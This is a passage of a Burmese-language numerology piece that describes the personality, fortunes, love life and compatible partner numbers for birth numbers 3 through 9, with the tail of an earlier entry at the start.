သူတို့ေတြ စိတ္ဓါတ္ျမင့္တက္လာျပီဆိုရင္ မင္းဟာ သူတို့ဘ၀ထဲက ေပ်ာက္ကြယ္သြားတက္တယ္..
မင္းဟာ.. ျငိမ္းခ်မ္းမႈကို ျမတ္နိုးတဲ့.ဒုတိယ ဂႏၵီ ျဖစ္နိုင္သလို...ျငိမ္းခ်မ္းမႈကို ဖ်က္ဆီးမဲ့..
ဒုတိယ ဟစ္တလာလည္း ျဖစ္နိုင္ပါတယ္
(က်ေနာ္ဆိုလိုတာက မင္းရဲ့ပတ္၀န္းက်င္ ဆက္ဆံေရးေပၚမွာပါ).
တကယ့္လိုမ်ား..ဘုရားတရားကို နက္နက္ရႈိုင္းရႈိုင္းလုပ္မယ္ဆိုရင္...
မင္းဟာ ေအာင္ျမင္မယ့္သူတစ္ဦးပါ...
အမ်ားစုေသာ မင္းရဲ့စကားလံုးေတြဟာ ေပ်ာ္ရႊင္မႈေတြဆီကိုပဲ ဦးတည္ေနတာပါ..!
တခါတရံ မင္းဟာ ေရွ့ေရးကို ႀကိဳျပီး ခံစားမိတက္သူတစ္ဦးပါ.
မင္းဟာ ကဗ်ာဆရာ..စာေရးဆရာ.. အနုပညာနယ္ပယ္မွာ က်င္လည္မႈသူတစ္ဦးပါ...
မင္းဟာ အခ်စ္ကို အရမ္းႀကီးမယံုႀကည္တက္သူတစ္ဦးပါ..
မင္းလက္ထက္ျပီးတဲ့အထိေတာင္ အဲဒီအတိုင္းပဲ
မင္းဟာ အခ်စ္အေပၚ သာမန္ပဲခံစားေနတက္သူတစ္ဦပါ..
မင္းဟာ မိန္းကေလးဆိုရင္ေတာ့..မိသားစုမွာ တာ၀န္သိအမ်ိဳးသမီးတဦးျဖစ္ေနပါလိမ့္မယ္..
မင္းဟာ ေယာက်ာ္းေလးသာဆိုရင္ေတာ့ မိသားစုမွာ ခိုက္ရန္ျဖစ္တာေတြ..ျငင္းခုန္မႈေတြကို
သယ္ေဆာင္လာသူ ျဖစ္ေနပါလိမ့္မယ္..ဒါမွမဟုတ္ ေျပာင္းျပန္လည္း ျဖစ္ေနတက္ပါတယ္..
ဆိုလိုတာက.မိသားစုေကာင္းစားဖို့အတြက္ မင္းဘ၀ကိုေတာင္ စြန့္လြတ္ဖို့
၀န္မေလးတဲ့သူတစ္ဦးပါ...မင္းဟာ သိမ့္ေမြ႔တယ္..အျမင္က်ယ္တယ္..
သူတပါးရဲ့စိတ္ကို ခံစားနားလည္ေပးနိုင္တယ္..
လူေတြနဲ့ လိုက္ေလ်ာညီေထြေနတက္တဲ့သူ တစ္ဦးပါ...
မင္းရဲ့အေကာင္းဆံုး အေဖာ္မြန္ကေတာ့ 2, 5, 9 ..
တျခားသူေတြနဲ့ဆိုရင္ေတာ့..အဆင္ေျပဖို့ခဲ့ရင္းပါတယ္..!!!

***************

နံပါတ္ (၃)

နွလံုးသားမာေက်ာျပီ.. တကိုယ္ေကာင္းဆန္တက္တယ္.. ဒါေပမယ့္
ဘာသာတရားကို ကိုင္းရႈိုင္းတက္သူတစ္ဦးပါ..
တိုးတက္မႈကို ျမတ္နိုးတဲ့သူတစ္ဦးပါ.. မင္းဟာ မိသားစုျပႆနာေတြကို
ေလွ်ာ့က်ဖို့လိုလားေပမယ့္..ျပႆနာတိုင္းက မင္းဆီကေနပဲ ျမစ္ဖ်ားခံတက္တာမ်ားပါတယ္..
မင္းဟာ ႀသဇာအာဏာႀကီးမားျပီး.. နွစ္လိုဖြယ္မ်က္နွာထားကို ပိုင္ဆိုင္သူ တစ္ဦးပါ..
ဒါေႀကာင့္.. ဘယ္ေနရာကိုသြားသြား.. မင္းအလိုရွိတာေတြကို အဆင္သင့္ ရနိုင္ေနတာေပါ့..
မင္းဘ၀မွာ ေမြးဖြားလာကတည္းက တခုခုကို ရဖို့အတြက္
အျမဲတမ္း ျပင္းထန္စြာႀကိဳးစြာေနရတက္တယ္..
မႀကိဳးစားဘဲနဲ့ ရလာတာဆိုတာ အလြန္ပဲ ရွားပါးလွပါတယ္....
အရြယ္ေရာက္လာတဲ့အခါမွာ.. မင္းဟာ ကိုယ့္ထက္ငယ္ရြယ္သူေတြကို ဆိုဆံုးမတက္တယ္..
ဘာေႀကာင့္လဲဆိုေတာ့.. ႀကီးတဲ့သူကို ငယ္သူက ရိုေသမႈျပသရတာကို
မင္းဟာ နွစ္သက္လို့ပဲ.. အဲလိုလည္းမင္းဟာ စံျပေနေလ့ရွိပါတယ္..
ဒါေပမယ့္..ေယဘုယ်အားျဖင့္ေတာ့..
မင္းဟာ ေအးေဆးတည္ျငိမ္တဲ့သူတေယာက္မဟုတ္ပါဘူး..
မင္းနဲ့ဆက္ဆံဖို့ဆိုတာ..ခက္ခဲတဲ့အလုပ္တခုပါ..
မင္းဟာ စိတ္ဓါတ္မာတဲ့ ျပိဳင္ဘက္တေယာက္လိုပဲ...ဒါေပမယ့္လည္း..
တစံုတေယာက္ရဲ့အျပဳအမႈကို မင္းသေဘာက်သြားျပီဆိုလည္း..
မင္းတို့နွစ္ေယာက္ရဲ့ဆက္ဆံေရးဟာ အရမ္းကို ခိုင္မာေနတက္ပါတယ္...
မင္းဟာ အျမဲလိုလို..သူတပါးဆီက ေလးစားမႈကို ရရွိေနတက္သူ တစ္ဦးပါ..
မင္းဘ၀မွာ ရန္သူေတြ.ျပႆနာေတြ အမ်ားႀကီးရွိမယ္လို့ ထင္ရေပမယ့္..
အဲဒါေတြက ႀကာရွည္မခံပါဘူး..ဘာေႀကာင့္လည္းဆိုေတာ့..
မင္းက ပါရမီရွင္တေယာက္လိုပါပဲ.. သူတို့နဲ့ေျဖရွင္းရာမွာ ပိုင္နိုင္လြန္းပါတယ္..
မင္းဟာ ပိုက္ဆံကို အနည္းငယ္ပို မက္ေမာတဲ့အတြက္.. သူရဲ့ေစခိုင္းမႈေအာက္မွာ..
အဆံုးမရွိ ႀကိဳးစားျခင္းေတြ .ရုန္းကန္ျခင္းေတြနဲ့..မင္းဟာ နပန္းလံုးေနရတက္တယ္...
မင္းဟာ အမ်ိဳးသားတစ္ဦးဆိုရင္ေတာ့..အားလံုးဟာ ျပီျပည့္စံုေနပါျပီ..
မိသားစုကို ေစာင့္ေရွာက္တယ္..
သူငယ္ခ်င္းေတြကို ကူညီတယ္.. ဘ၀ကို ေပးကမ္းမႈေတြ..ႀကင္နာေတြနဲ့
အခ်ိန္ကုန္လြန္ေစတဲ့သူေပါ့ (ဒါေပမယ့္ ၂၁ ရက္ ေမြးသူမပါပါ).
ျပီးေတာ့ မင္းဟာ စံျပတေယာက္ျဖစ္ေနပါလိမ့္မယ္..
တကယ္လို့..မင္းဟာ အမ်ိဳးသမီးဆိုရင္လည္း.. အက်င့္စရိုက္ေကာင္းေတြ..
ယဥ္ေက်းသိမ္ေမြ႔႔မႈေတြ.. အလုပ္ႀကိဳစားမႈေတြနဲ့ ျပည့္ေနမွာပါ..
မင္းဟာ လြတ္လပ္မႈကို ျမတ္နိုးသူ.. တီထြင္သူ.. ရည္မွန္းခ်က္ႀကီးသူ..
အာရံုစူးစိုက္လုပ္တက္သူ
ျပီးေတာ့. ကမၻာကို အလွ..ေမွ်ာ္လင့္ခ်က္..ေပ်ာ္ရႊင္မႈေတြကို သယ္ေဆာင္လာသူ တစ္ဦးပါပဲ...
မင္းရဲ့ အေကာင္းဆံုး အေဖာ္မြန္ကေတာ့... 6, 9.
သင့္ေတာ္တဲ့အေဖာ္မြန္ကေတာ့..1, 3, 5!!!

****************

နံပါတ္ (၄)

မင္းလည္းပဲ ေခါင္းအလြန္မာတဲ့သူ တဦးပါပဲ..
အလုပ္ကို အရမ္းႀကိဳးစားတယ္..ဒါေပမယ့္ ဘ၀ရဲ့ အေရးႀကီးတဲ့ ကိစၥေတြမွာေတာ့
ကံမေကာင္းတက္ပါဘူး..ေအးေဆးေနတက္တယ္..ကူညီတက္သူျဖစ္ေပးမဲ့..
စကားေျပာတာက ပြင့္လင္းလြန္းပါတယ္..
အမ်ိဳးသားဆိုရင္ေတာ့ အဲဒီအတြက္နဲ့ပဲ.. တျခားလူေတြကို စိတ္အေႏွာက္ယွက္ပိုျဖစ္ေစျပီ..
မင္းကိုထားျပီ....အေ၀းကို ေျပးသြားတက္ႀကပါတယ္..
မင္းဟာ တခါတရံမွာေတာ့.. တျခားလူေတြနဲ့ သူတို့ရဲ့ ျပႆနာေတြကို
ေကာင္းေကာင္းႀကီး နားလည္ေနျပန္ေ၇ာ့.....
အခ်ိန္တိုင္းလိုလို မင္းဟာ အမ်ိဳးသမီးမိတ္ေဆြေတြနဲ့ အခ်ိန္ျဖဳန္းေနတက္ျပီ..
အမ်ိဳးသမီငယ္ေတြနဲ့ ေပ်ာ္ရႊင္ရတာကို နွစ္သက္သူ တစ္ဦးပါ..
မင္းသူငယ္ခ်င္းေတြဟာ မင္းရဲ့အခ်ိန္ေတြ..ေငြေတြကို သံုးျဖဳန္းျပီ..
အေ၀းကို ေျပးသြားတက္ႀကပါတယ္..
အဲဒီခါႀကရင္ေတာ့..မင္းဟာ ခိုးကို္ယ္ရာမဲ့ေနျပီဆိုတာ..အေသအခ်ာပါပဲ..အဲဒီအတြက္..
လံုး၀သတိျပဳပါ.. မင္းရဲ့စီတ္ထားေကာင္းကေတာ့..
မိသားစုနဲ့သူငယ္ခ်င္းေတြကို ကူညီတက္တာပါပဲ..
မင္းဟာ ငယ္ရႊယ္စဥ္မွာပဲ.. အခ်စ္ကို ေတြ့ရွိတက္ပါတယ္..
မင္းဘ၀မွာ တခါတရံ အဆင္မေျပမႈေတြနဲ့ ျပည့္နက္ေနတက္တယ္.. ဥပမာ..
မင္းဟာ ဘြဲ့တခုခုရထားေပမယ့္..အလုပ္လက္မဲ့ျဖစ္ေနတာမ်ိဳးေပါ့..
ဒါမွမဟုတ္.. ေအာက္ေျခအလုပ္ကို လုပ္ေနရတာမ်ိဳးေပါ့..
ဒါေပမယ့္..မင္းရဲ့မိသားစုကိုေတာ့..မင္းဟာ ေကာင္းေကာင္းေစာင့္ေရွာက္နိုင္ပါတယ္..
အဓီက သတိထားရမယ္လူေတြကေတာ့.. မင္းရဲ့ႀကင္နာတက္တဲ့ စိတ္ထားကို
အခြင့္ေကာင္းယူမယ့္သူေတြကိုပါပဲ..
ဒါေႀကာင့္..မင့္နဲ့ပတ္၀န္းက်င္ဆက္ဆံေရးကို အထူးသတိျပဳပါ..
အမ်ိဳးသမီးဆိုရင္ေတာ့.. မင္းဟာ ပညာရပ္ပိုင္းနဲ့ အႏုပညာပိုင္းမွာ ထြန္းေပါက္နိုင္ပါတယ္..
မင္းဟာ..စိတ္ရွည္တယ္.. ေခါင္းမာတယ္.. ေရွးရိုနည္းနည္းဆန္ျပီ..
အစီအစဥ္တက်လုပ္ကိုင္တက္သူတေယာက္ျဖစ္တယ္...
မင္းရဲ့အေကာင္းဆံုးအေဖာ္မြန္ေတြကေတာ့.. 1, 8.
သင့္ေတာ္တဲ့သူေတြကေတာ့...5, 6, 7!!!

*****************

နံပါတ္ (၅)

မင္းဟာ မင့္ပတ္၀န္းက်င္မွာ ေက်ာ္ႀကားတဲ့သူတစ္ဦးပါ..
မင့္ရဲ့နႈတ္ထြက္စကားေလးနဲ့တင္..မင္းအလိုရွိရာကို ရနိုင္ပါတယ္..
မင္းဟာ စီးပြားေရးအျမင္စူးရွသူတစ္ဦးလည္း ျဖစ္တယ္..
ဒါေပမယ့္.. မင္းဟာ စနစ္ရွိေတာ့မဟုတ္ပါဘူး..ေခါင္းထဲေပၚလာကို လုပ္တက္သူပါ.
တကယ္လို့ စီးပြားေရးလုပ္ငန္းတခုကို တည္ေထာင္မယ္ဆိုရင္လည္း..ေအာင္ျမင္မယ္သူပါ..
ျပီးေတာ့ ဟာသဥာဏ္ရႊင္တဲ့သူလည္းျဖစ္ေနျပန္ေရာ့..
မိသားစုနဲ့သူငယ္ခ်င္းေတြအတြက္ေတာ့.. မင္းဟာ တကယ့္ကယ္တင္ရွင္ႀကီးတစ္ဦးပါပဲ..
တကယ္လည္း.. မင္းဟာ လက္ေတြ့က်က် ကူညီတက္သူတစ္ဦးပါ...
မင္းဟာ နည္းနည္းေတာ့ ျမွာေပြတက္ေပမယ့္..
ဘ၀ကို တည္ေဆာက္မယ္ဆိုတဲ့အခါမွာေတာ့.. ကိုယ္က်ိဳးတြက္ ႀကည့္ျပီးမွ
ေရႊးခ်ယ္တက္သူပါ...မင္းဟာ လက္ထက္ျပီးတာေတာင္မွ ေက်ာ္ႀကားေနဦးမယ္သူပါ..
အဲဒီအတြက္.. သတိထားရမယ္အခ်က္ကေတာ့
မင့္ရဲ့ ေျခရႈပ္ခ်င္တဲ့ စိတ္ထားေလးပါပဲ.. အသိတရားနဲ့ ထိန္းခ်ဳပ္ရင္ေတာ့..
အရာအားလံုး အဆင္ေျပေနပါလိမ့္မယ္...
မင္းဟာ လူတိုင္းနဲ့ ပုလဲနံသင့္ပါတယ္..ဘာေႀကာင့္လည္းဆိုေတာ့..
နံပါတ္ ၅ ဟာ အလယ္ဂဏာန္း ျဖစ္ေနလို့ပဲ..ေျပာင္းလဲမႈနဲ့လြတ္လပ္မႈကို ျမတ္နိုးသူ..
ဆြဲေဆာင္မႈအျပည့္ရွိတဲ့ မ်က္နွာပိုင္ရွင္ေပါ့...
အေတြ့အႀကံဳကေန မင္းဘ၀ကို တည္ေဆာက္ရတဲ့သူျဖစ္ျပီ..အဲဒီအေတြ့အႀကံဳေတြကပဲ..
မင္းရဲ့အေကာင္းဆံုး ဆရာသမားေတြျဖစ္ေနေလရဲ့...
မင္းရဲ့အေကာင္းဆံုးအေဖာ္မြန္ကေတာ့.... 1, 2, 9.
သင့္ေတာ္တဲ့သူကေတာ့. 6, 8!!!

******************

နံပါတ္ (၆)

အိုး... မင္း ေပ်ာ္ရႊင္ဖို့အတြက္ပဲ ေမြးဖြားလာတာပါလား..
မင္းဟာ တျခားလူရဲ့ခံစားခ်က္ကို ဂရုမစိုက္တက္သူတစ္ဦးေပါ့..
ဆိုလိုတာက မင္းဘ၀မွာ မင္းဟာ အျမဲတမ္း ေပ်ာ္ရႊင္ေနခ်င္တဲ့သူပါ..
မင္းဟာ ပညာေရး..အလုပ္..စီမံခန့္ခြဲမႈမွာပဲျဖစ္ျဖစ္.. ေအာင္ျမင္မႈသူတစ္ဦးပါ..
မင္းဟာ ႀကင္နာတက္ပါတယ္..
(ဒါေပမယ့္ မင့္စိတ္ထဲမွာ ေကာင္းတယ္လို့ထင္တဲ့ လူေတြအေပၚမွာသာ).....
ရုပ္ရည္အရမ္းေခ်ာ္ေမာေနတက္ျပီ.. ဘ၀ဟာလည္း. ကံေကာင္းျခင္းေတြ စုေနတက္ပါတယ္..
ကံႀကမၼာေကာင္းေတြဟာ မင္းနဲ့အတူလာတယ္လို့ ေျပာလို့ရနိုင္ပါတယ္..
မင္းရဲ့စိတ္ထားနဲ့ခႏၶာဟာ အခ်စ္ကိစၥေတြမွာ လိႈင္လႈိင္လွဲလွဲရွိလွပါတယ္..
တျခားနံပါတ္ေတြရဲ့ ခ်စ္ျခင္းေမတၱာကို ခံရတက္ပါတယ္...ဒါေပမယ့္..
မင္းဟာ အမ်ိဳးသားဆိုရင္ေတာ့.. လက္ထက္တဲ့အခ်ိန္အထိ မိန္းကေလးငယ္မ်ားနဲ့
ရင္းရင္းနွီးနွီးေနရတာကို နွစ္သက္တဲ့သူတဦးပါ..
အမ်ိဳးသမီးသာဆိုရင္ေတာ့.. ေစ့စပ္ေႀကာင္းလမ္းမႈ..ဒါမွမဟုတ္ လက္ထက္တာကို
ေစာေစာစီးစီး ရင္ဆိုင္ရတက္ပါတယ္..
ႀကင္နာတက္သူေတြပဲ မင့္ဘ၀ထဲကို ၀င္လာပါလိမ့္မယ္..
ေယဘုယ်အားျဖင့္ေတာ့.. မင္းဟာ အိမ္ရဲ့ဆည္းလွည္းေလးပါပဲ... စာနာတက္သူ...
နွစ္သိမ့္မႈေပးနိုင္သူ.မွ်တသူ..အိမ္ေထာင္မႈနိုင္နင္းသူ..ဆံုးျဖတ္ခ်က္ေကာင္းမြန္သူတစ္ဦးပါပဲ...
ကုန္ကုန္ေျပာရရင္.. မင့္ရဲ့အႀကင္နာေတြနဲ့..ဒီကမၻာေလာကႀကီးရဲ့
ဒဏ္ရာ ဒဏ္ခ်က္ေတြကိုကုစားေပးနိုင္သူတေယာက္ပါပဲ...
မင္းရဲ့အေကာင္းဆံုးအေဖာ္မြန္ေတြကေတာ့.. 1, 6, and 9.
သင့္ေလ်ာ္တဲ့သူေတြကေတာ့.. 4, 5!!!

*******************

နံပါတ္ (၇)

မင္းဟာ ဆြဲေဆာင္မႈရွိသူ.. ယထာဘူတ ၀ါဒီတေယာက္ပါ..
မိမိကိုယ့္ကို ယံုႀကည္တက္တယ္..ေပ်ာ္ေပ်ာ္ရႊင္ရႊင္ေနတက္ျပီ..ပညာေရးမွာ
ထူးခၽြန္သူ တစ္ဦးပါ..ဂီတ.အနုပညာ..သီခ်င္းဆို..သရုပ္ေဆာင္နယ္ပယ္ေတြမွာလည္း..
ထူးခၽြန္နိုင္သူပါ..မင္းရဲ့ျပႆနာကေတာ့..မင့္ရဲ့ေဒါသစိတ္ပါပဲ..
အမ်ိဳးသမီးဆိုရင္ေတာ့. အထက္ကအခ်က္ေတြနဲ့ မင္းဟာ ေအာင္ျမင္နိုင္ပါတယ္..
မင္းဟာ..မင့္မိဘအတြက္ ဘာမဆို စြန့္လႊ႔တ္နိုင္သူလည္းျဖစ္တယ္..
(ဆိုလိုတာက မိသားစုကို အရမ္းတန္းဖိုးထားတက္တာပါ)
အရြယ္ရလာတာနဲ့အမွ် မင္းရဲ့အဆင့္အတန္းကလည္း တျဖည္းျဖည္း ျမင့္တက္ေနမွာပါ..
အမ်ိဳးသားတစ္ဦးသားဆိုရင္ေတာ့ အမ်ိဳးသမီးထုႀကားမွာ ေရပန္းစားမယ့္သူပါ..
ဘက္စံုထူးခၽြန္သူတစ္ဦးလည္းျဖစ္ေနပါတယ္..
နံပါတ္ (၇) သမားအမ်ားစုဟာ သူတို့ရဲ့အိမ္ေထာင္သည္ဘ၀မွာ
အဆင္မေျပႀကတာမ်ားပါတယ္..အနည္းစုေလာက္ပဲ ေပ်ာ္ရႊင္ခ်မ္းေျမ႔တဲ့ဘ၀ကို
တည္ေဆာက္နိုင္ႀကတာပါ.... မင္းရဲ့ဘ၀မွာ အရာအားလံုးရွိေနေပမယ့္..
အလိုမက်မႈေတြ..စိုးရိမ္ေႀကာင့္က်မႈေတြ ကလည္း ရွိေနတက္ျပန္ေရာ့..
ဒါကလည္း..ဘုရားသခင္က မင္းကို အရာအားလံုးမွ်တေအာင္
ေပးထားတဲ့သေဘာလို့ထင္ပါတယ္.. မင္းလို ထူးခြ်န္တဲ့သူ ၁၀၀ေလာက္ကို
နႈိုင္းယွဥ္ႀကည့္မယ္ဆိုရင္ မင္းတေယာက္ေလာက္ပဲ အိမ္ေထာင္ေရး
မသာယာတာမ်ိဳးေတြ့ရတက္ပါတယ္.. ဒါေႀကာင့္.. ႀကင္ေဖာ္ကို ေစာင့္စားေနတာထက္..
ကိုယ္နဲ့ လိုက္ေလ်ာ္ညီေထြမယ့္သူကို ေစာေစာစီးစီး ရွာထားသင့္ပါတယ္...
အဲလိုမွ မလုပ္ခ်င္ဘူးဆိုရင္ေတာ့..မင္းဟာ ဘ၀ကို
အထီးက်န္စြာ ျဖတ္သန္းသြားရမွာ အေသအခ်ာပါပဲ..
ဒါေႀကာင့္..ဒီကိစၥနဲ့ပတ္သက္ျပီး ေသခ်ာဂရုစိုက္အေလးထားသင့္ပါတယ္..
မင္းဟာ အံဖြယ္ေကာင္းေသာ.ေဖာ္ေရႊေသာ.ယဥ္ေက်းသိမ့္ေမြ႔ေသာ
ေပ်ာ္ေပ်ာ္ေနတက္တဲ့ လူတေယာက္ပါ..
မင္းဟာဒီကမၻာေလာကႀကီးကို ျဖည့္ဆည္းေပးဖို့ ေမြးဖြားလာသူတစ္ဦးပါ..
မင္းရဲ့အေကာင္းဆံုးအေဖာ္မြန္ေတြကေတာ့.. 2.
သင့္ေတာ္တဲ့အေဖာ္မြန္ကေတာ့.. 1,4 !!!

**********************

နံပါတ္ (၈)

မင္းရဲ့ ဘ၀ဟာ ႀကမ္းတမ္းလြန္းပါတယ္. ဘာေႀကာင့္ဆိုတာ.
ဘယ္သူမွ မင္းကို နားလည္နိုင္မွာ မဟုတ္ပါဘူး..
သူတပါးကို အျပစ္ေျပာရာမွာ မင္းဟာ တဖက္ကမ္းခတ္ ကၽြမ္းက်င္လွပါတယ္..
မင္းရဲ့ ငယ္စဥ္ဘ၀ဟာ ဆင္းရဲ့နံုခ်ာနိုင္ပါတယ္..
အေျခအေနက မေပးဘူးဆိုရင္ေတာ့.. မင့္ရဲ့မိဘေတြကိုေတာင္ ေစာစီးစြာ
လက္လႊတ္ရနိုင္ပါတယ္.. ဒီလိုမ်ိဳးအျဖစ္အပ်က္ေတြကမင့္ဘ၀ထဲမွာ
မႀကာခဏျဖစ္ေနမယ္အရာေတြပါ..
ဒီျပႆနာေတြကပဲ မင္းရဲ့ပညာေရးကို တားဆီးေနပါလိမ့္မယ္..
ဒါေပမယ့္ မင္းဟာ ဘ၀ကို တျခားနည္းနဲ့ ေလ့လာသင္ယူနိုင္ပါလိမ့္မယ္.
မင္းဟာ တရားမွ်တမႈအတြက္ တိုက္ပြဲ၀င္ရဲတဲ့သူတစ္ဦးပါ..
ဒါေပမယ့္ အဲဒီတိုက္ပြဲမွာပဲ က်ဆံုးနိုင္သူလည္း ျဖစ္ေနျပန္ေ၇ာ့.
ပံုမွန္အားျဖင့္..မိတ္ေဆြေတြနဲ့ဆက္ဆံရာမွာ မင္းဟာ တည္ႀကည္ေလးနက္စြာ ေနတက္ျပီ..
ဘ၀ကိုလည္း..အထီးက်န္စြာျဖတ္သန္းေနရမယ့္သူပါ..
ျပီးေတာ့ တပါးသူကို ကူညီဖို့အသင့္ရွိေနသူ တစ္ဦးပါ..
မင္း အိမ္ေထာင္က်တဲ့အခါမွာေတာ့
(အဲဒါကလည္း.. အမ်ားအားျဖင့္ အလယ္အလတ္အရြယ္မွာပဲ ျဖစ္ပြားတက္ပါတယ္)
မင့္ရဲ့ကံႀကမၼာဆိုးအနည္းငယ္ဟာ လြင့္ေပ်ာက္သြားသလို ခံစားရပါလိမ့္မယ္..
ျပီးေတာ့ မင္းဟာ လံုျခံဳခ်မ္းေျမ့မႈကို ရရွိပါလိမ့္မယ္..
မင္းဟာ မေမွ်ာ္လင့္တဲ့အႏၱရာယ္ေတြကိုလည္း..ယွဥ္ဆိုင္ေတြ႔ရနိုင္ပါတယ္..
ဥပမာ..( အမႈအခင္းမ်ား..အဆိပ္ရွိသတၱ၀ါမ်ား..မေတာ္တဆထိခို္က္မႈမ်ားနဲံ ႀကံုေတြနိုင္ပါတယ္)
သိုေပသိ.. မင္းဟာ စည္းကမ္းလိုက္နာတဲ့သူ..လံု့လ၀ီရိယရွိသူ.ရဲရင့္သူ..
ခြန္းအားဗလနဲ့ျပည့္စံုသူ. တစ္ေယာက္ပါ..
အဲဒါေတြကပဲ မင္းကို ေအာင္ျမင္မႈဆီကို ေခၚေဆာင္သြားမွာပါ..
မင္းဟာ မိသားစုရဲ့ အဓီက အစိတ္အပိုင္းတခုပါ..
အားကိုယ္ရဆံုးသူတစ္ဦးလည္းျဖစ္ျပီး.. ဖိုက္တာတစ္ဦးလည္းျဖစ္ေနျပန္ေရာ့...
မင္းရဲ့ အေကာင္းဆံုးအေဖာ္မြန္ကေတာ့.. 1, 4, and 8.
သင့္ေတာ္တဲ့အေဖာ္မြန္ကေတာ့ 5!!!

********************

နံပါတ္ (၉)

မင္းကေတာ့ ဒီကမၻာေလာကႀကီးမွာ သဟဖာတမျဖစ္ဆံုး လူသားတစ္ဦးေပါ့..
မင္းဟာ ရုပ္ပိုင္း..စိတ္ပိုင္း အရမ္းကို ႀကံ႔ခိုင္လြန္းသူတစ္ဦးပါ..
ရည္မွန္းခ်က္ႀကီးမားသူတဦးလည္းျဖစ္ျပန္ေရာ့..
မင္းဟာ အလုပ္ကို အရမ္းႀကိဳးစားလုပ္ကိုင္ရမွာျဖစ္ျပီ..
ေအာင္ျမင္မႈကိုလည္း ခက္ခဲစြာ ရယူရမယ့္သူတစ္ဦးပါ..
သာမန္အားျဖင့္ေတာ့ ငယ္ရြယ္စဥ္မွာ မင္းဟာ မိသားစုျပႆနာေတြနဲ့
လံုးပန္းေနရတက္ပါတယ္..ျပီးေတာ့ ဘ၀ဟာလည္း.
ရုန္းရင္းဆန္ခတ္မႈေတြနဲ့ ျပည့္နွက္ေနပါတယ္.. ဒါေပမယ့္
မင္းအလိုရွိတာကို ရရွိတဲ့အခ်ိန္ကစျပီးေတာ့ မင္းရဲ့ဘ၀ လံုး၀ေျပာင္းလဲသြားပါလိမ့္မယ္..
မင္းဟာ ပတ္၀န္းက်င္မွာ အေလးစားခံရဆံုးပုဂၢိဳလ္တစ္ဦးျဖစ္ေနပါလိမ့္မယ္..
စိန္ေခၚမႈေတြကို နွစ္သက္ျပီ.. ျပိဳင္ဘက္ေတြကို အလွဲထိုးနိုင္တဲ့သူ တစ္ဦးေပါ့..
ငယ္ရြယ္စဥ္မွာေတာ့ မင္းဟာ အရမ္းကို ေပေတမဲ့ ကေလးတေယာက္ပါ..
မိဘက မႀကာခဏရိုက္နက္ဆံုးမရသူ.. ရန္ခဏခဏ ျဖစ္တက္သူတစ္ဦးေပါ့..
မင့္ဘ၀ဟာ ဒဏ္ရာအနာတ၇ေတြနဲ့ ျပည့္နက္ေနသလိုပါပဲ..
ဒါေပမယ့္..အရြယ္ေရာက္လာတဲ့အခါမွာေတာ့..
မင္းဟာ ေအးေဆးတည္ျငိမ္လာျပီ.. ေယာက်ာ္းပီသစြာ ေနထိုင္ျပန္ေရာ့..
ခ်စ္ျခင္းေမတၱာကေတာ့ မင္းအတြက္ လြယ္ကူတဲ့ကိစၥေတာ့မဟုတ္ပါဘူး..
မင္းဟာ ေဆာက္လုပ္ေရးအလုပ္..ဘဏ္အလုပ္ေတြနဲ့ သင့္ေလွ်ာ္ပါတယ္..
ဘာေႀကာင့္လဲဆိုေတာ့ လူေတြကို မင့္ကို ယံုႀကည့္ႀကလို့ပါပဲ..
မင့္ရဲ့မိသားစုဘ၀ကေတာ့ အရမ္းကို ေကာင္းမြန္လွပါတယ္.
ဒါေပမယ့္ မင့္ကေလးေတြအတြက္ေတာ့ စိုးရိမ္ရပါလိမ့္မယ္..
မင္းဟာ လူလူခ်င္းစာနာတက္သူ..စိတ္ရွည္သူ..ပညာဥာဏ္ႀကီးမားသူ..
နားလည္းခြင့္လြတ္ေပးနိုင္သူတစ္ဦးပါ...
မင္းဟာ ရည္မွန္းခ်က္ေတြကို ရယူဖို့.. အဂတိတရားမထားပဲ လူေတြအေပၚ
အလုပ္အေကၽြးျပဳဖို့ ေမြးဖြားလာသူတစ္ဦးပါ...
မင္းဟာ အံ့ဖြယ္စိတ္ကူးစိတ္သန္းေတြမွာ လူတိုင္းအတြက္ စံျပတေယာက္ပါ..
မင့္ရဲ့အေကာင္းဆံုး အေဖာ္မြန္ကေတာ့.. 3, 5, 6, and 9.
သင့္ေတာ္တဲ့ အေဖာ္မြန္ကေတာ့ 2!!!ေတြပါ